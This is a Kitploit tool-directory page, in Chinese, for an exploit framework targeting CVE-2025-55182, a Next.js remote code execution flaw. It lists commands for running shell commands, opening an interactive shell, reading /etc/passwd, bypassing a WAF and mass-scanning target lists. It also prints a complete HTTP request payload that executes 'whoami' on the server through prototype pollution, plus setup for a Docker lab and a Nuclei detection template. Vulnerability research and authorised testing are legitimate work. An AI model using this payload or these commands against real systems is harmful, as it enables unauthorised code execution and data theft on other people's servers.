Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell-exploit — React2Shell-Exploit — Complete exploitation framework for CVE-2025-55182, including Python exploit, Docker vulnerable lab, Burp Suite manual and automated exploitation, Nuclei detection template, and validated testing workflow. Developed for penetration testing and educational research. | Kitploit
工具/GitHubGitHub/rubensuxo-eh/react2shell-exploit
Vulnerability ScannersExploit FrameworksWeb Application ExploitationWAF BypassPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentLabs & Practice

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

React2Shell-Exploit — Complete exploitation framework for CVE-2025-55182, including Python exploit, Docker vulnerable lab, Burp Suite manual and automated exploitation, Nuclei detection template, and validated testing workflow. Developed for penetration testing and educational research.

GitHubrubensuxo-eh/react2shell-exploit

react2shell-exploit

查看仓库
418个月前尚未审核
分享

🐺 React2Shell-Exploit-Kensei

CVE-2025-55182 - Next.js RCE 远程代码执行

漏洞利用框架 + 漏洞环境 + Burp Suite 及 Nuclei 验证。

用于安全研究和渗透测试的完整利用框架与漏洞实验环境。

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║              🐺 React2Shell-Exploit-Kensei 🐺                 ║
║              CVE-2025-55182 利用工具                         ║
║                                                               ║
║  作者: Ruben Suxo - 道德黑客 (kensei)            v2.5.0      ║
╚═══════════════════════════════════════════════════════════════╝

🎯 概述

React2Shell-Exploit-Kensei 是一个全面工具包,用于利用 Next.js 应用程序中的高危远程代码执行漏洞 CVE-2025-55182。

它包括:

  • 🐍 Python 漏洞利用(自动 + 手动模式)
  • 🐳 Docker 脆弱性实验室(Next.js 16.0.6)
  • 🔥 Burp Suite 利用模板
  • 🚨 Nuclei 检测模板
  • 🧪 验证过的测试用例

影响版本:

  • Next.js < 16.0.7
  • React 19.0.0

CVSS 评分: 10.0(严重)

✨ 特性

🔨 漏洞利用

✅ 自动利用 ✅ 交互式 Shell ✅ 命令执行 ✅ 文件读取 ✅ WAF 绕过 ✅ 批量扫描

🧪 实验环境 Docker 安装 - 前提条件

您必须已安装 Docker 才能运行脆弱性实验室。

平台安装链接
Windowshttps://docs.docker.com/desktop/install/windows/
macOShttps://docs.docker.com/desktop/install/mac-install/
Linuxhttps://docs.docker.com/engine/install/

验证安装:

root@kitploit:~
docker --version

📖 文档

✅ Burp Suite 指南 ✅ Nuclei 模板 ✅ 完整示例


🚀 快速开始

root@kitploit:~
# 1. 克隆
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py

# 2. 启动实验室
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab

# 3. 漏洞利用
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"

💻 使用示例

扫描

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --scan

执行命令

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --cmd "id"

交互式 Shell

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --shell

读取文件

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --read /etc/passwd

WAF 绕过

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass

批量扫描

root@kitploit:~
python3 react2shell-exploit.py --list targets.txt --scan --threads 20

🔍 手动漏洞利用

Burp Suite

已验证可用的请求模板:

root@kitploit:~
POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

预期响应:

root@kitploit:~
"children":["__PAGE__?{\"out\":\"root\"}",{}]

手动测试 WHOAMI: 我的截图

手动测试 IFCONFIG: 我的截图

替代自动化检测方法:

  • ✅ Extensibility Helper 扩展:
    1. 转到扩展:
    2. 安装 "Extensibility Helper" 并进入

我的截图

  1. 转到 "Bambda 商店"
  2. 查找 "CVE-2025-55182,CVE-2025-66478 - React2Shell"

我的截图

  1. 点击 "导入"

我的截图

  1. 运行 "审计选定项"

我的截图

我的截图

我的截图

  1. 在自定义选项卡中验证 "CVE-2025-55182,CVE-2025-66478 - React2Shell" 已被选中 我的截图
  • ✅ ActiveScan++: 自动检测

我的截图

Nuclei

已验证可用的命令:

root@kitploit:~
nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml

输出:

root@kitploit:~
[CVE-2025-55182] [http] [critical] http://target.com:3002/

我的截图

🐺 致谢

作者: Ruben Suxo - 道德黑客 (kensei) 版本: 2.5.0 日期: 2025-12-06

研究与灵感

本项目的构建基于以下研究与技术:

  • assetnote/react2shell-scanner - 扫描器实现
  • freeqaz/react2shell - 利用技术
  • whiteov3rflow/CVE-2025-55182-poc - 概念验证

漏洞发现

  • Lachlan Davidson (@lachlan2k) - CVE-2025-55182 的原始发现者

⚠️ 法律免责声明

仅限授权安全测试。

未经授权的访问是非法的。请仅在你拥有或已获得明确测试许可的系统上使用。


📄 许可证

MIT 许可证


🐺 以负责的方式黑掉地球

仅供教育目的。请遵守道德。

下载工具